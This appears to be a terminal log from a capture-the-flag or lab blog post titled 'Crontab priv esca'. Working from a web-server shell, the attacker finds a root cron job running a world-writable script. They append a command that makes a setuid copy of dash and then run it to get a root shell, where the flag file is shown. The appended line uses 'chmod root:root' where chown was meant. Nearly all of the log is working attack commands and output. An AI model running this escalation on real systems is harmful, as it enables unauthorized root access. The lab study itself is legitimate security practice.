www-data@red:/etc$ ls -la cron*
ls -la cron*
-rw-r--r-- 1 root root 722 Apr 5 2016 crontab
cron.d:
total 32
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Jun 3 2016 .placeholder
-rw-r--r-- 1 root root 56 Jun 3 2016 logrotate
-rw-r--r-- 1 root root 589 Jul 16 2014 mdadm
-rw-r--r-- 1 root root 670 Mar 1 2016 php
cron.daily:
total 56
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rwxr-xr-x 1 root root 539 Apr 5 2016 apache2
-rwxr-xr-x 1 root root 376 Mar 31 2016 apport
-rwxr-xr-x 1 root root 920 Apr 5 2016 apt-compat
-rwxr-xr-x 1 root root 1597 Nov 26 2015 dpkg
-rwxr-xr-x 1 root root 372 May 6 2015 logrotate
-rwxr-xr-x 1 root root 539 Jul 16 2014 mdadm
-rwxr-xr-x 1 root root 249 Nov 12 2015 passwd
-rwxr-xr-x 1 root root 383 Mar 8 2016 samba
-rwxr-xr-x 1 root root 214 Apr 12 2016 update-notifier-common
cron.hourly:
total 20
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
cron.monthly:
total 20
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
cron.weekly:
total 28
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Apr 5 2016 .placeholder
-rwxr-xr-x 1 root root 86 Apr 13 2016 fstrim
-rwxr-xr-x 1 root root 211 Apr 12 2016 update-notifier-common
www-data@red:/etc$ cd cron.d
cd cron.d
www-data@red:/etc/cron.d$ ls
ls
logrotate mdadm php
www-data@red:/etc/cron.d$ ls -la
ls -la
total 32
drwxr-xr-x 2 root root 4096 Jun 3 2016 .
drwxr-xr-x 100 root root 12288 May 25 11:38 ..
-rw-r--r-- 1 root root 102 Jun 3 2016 .placeholder
-rw-r--r-- 1 root root 56 Jun 3 2016 logrotate
-rw-r--r-- 1 root root 589 Jul 16 2014 mdadm
-rw-r--r-- 1 root root 670 Mar 1 2016 php
www-data@red:/etc/cron.d$ cd logrotate
cd logrotate
bash: cd: logrotate: Not a directory
www-data@red:/etc/cron.d$ cat logrotate
cat logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
www-data@red:/etc/cron.d$ cat /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this
www-data@red:/etc/cron.d$ cd ..
cd ..
www-data@red:/etc$ echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit">> /usr/local/sbin/cron-logrotate.sh
<d root:root /tmp/exploit">> /usr/local/sbin/cron-logrotate.sh
www-data@red:/etc$ cat /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this
cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit
www-data@red:/etc$ cd
cd
bash: cd: HOME not set
www-data@red:/etc$ cd ..
cd ..
www-data@red:/$ /tmp/exploit -p
/tmp/exploit -p
# cd /root
cd /root
# ls
ls
fix-wordpress.sh flag.txt issue python.sh wordpress.sql
Look at unknown and try to think of a familiar problem having the same or a similar unknown -" How to Solve It A New Aspect of Mathematical Method "
Tuesday, May 25, 2021
Crontab priv esca
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